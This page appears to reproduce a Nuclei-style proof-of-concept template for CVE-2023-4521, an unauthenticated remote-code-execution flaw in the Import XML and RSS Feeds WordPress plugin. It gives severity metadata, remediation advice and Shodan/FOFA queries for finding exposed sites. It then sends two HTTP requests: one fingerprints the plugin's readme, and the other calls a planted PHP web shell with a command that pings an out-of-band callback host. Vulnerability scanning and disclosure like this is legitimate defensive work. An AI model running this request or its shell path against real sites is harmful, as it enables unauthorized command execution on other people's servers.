CVE-2023-4521: Import XML and RSS Feeds < 2.1.5 - Unauthenticated RCE

2025-08-01 Import XML and RSS Feeds PoC Public

Description

The Import XML and RSS Feeds WordPress plugin before 2.1.5 allows unauthenticated attackers to execute arbitrary commands via a web shell.

PoC

id: CVE-2023-4521

info:
  name: Import XML and RSS Feeds < 2.1.5 - Unauthenticated RCE
  author: princechaddha
  severity: critical
  description: The Import XML and RSS Feeds WordPress plugin before 2.1.5 allows unauthenticated attackers to execute arbitrary commands via a web shell.
  impact: |
    Allows unauthenticated attackers to execute arbitrary code on the target system.
  remediation: |
    Update the Import XML and RSS Feeds WordPress Plugin to the latest version to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/de2cdb38-3a9f-448e-b564-a798d1e93481
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-4521
    epss-score: 0.40552
    epss-percentile: 0.98575
    cpe: cpe:2.3:a:mooveagency:import_xml_and_rss_feeds:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: mooveagency
    product: "import_xml_and_rss_feeds"
    framework: wordpress
    shodan-query: "http.html:\"import-xml-feed\""
    fofa-query: "body=\"import-xml-feed\""
  tags: cve,cve2023,wordpress,wp,wpscan,unauth,rce,mooveagency,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Import XML and RSS Feeds'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/import-xml-feed/uploads/169227090864de013cac47b.php?cmd=ping+{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4b0a00483046022100ad0d5ef38e899c095cadd5e29ffe91046a061725545073b7f1c5ed92d626eb67022100e122fe5a7cc43334645f14e3f11dc763bf637de672a553dc422c7e5901d43352:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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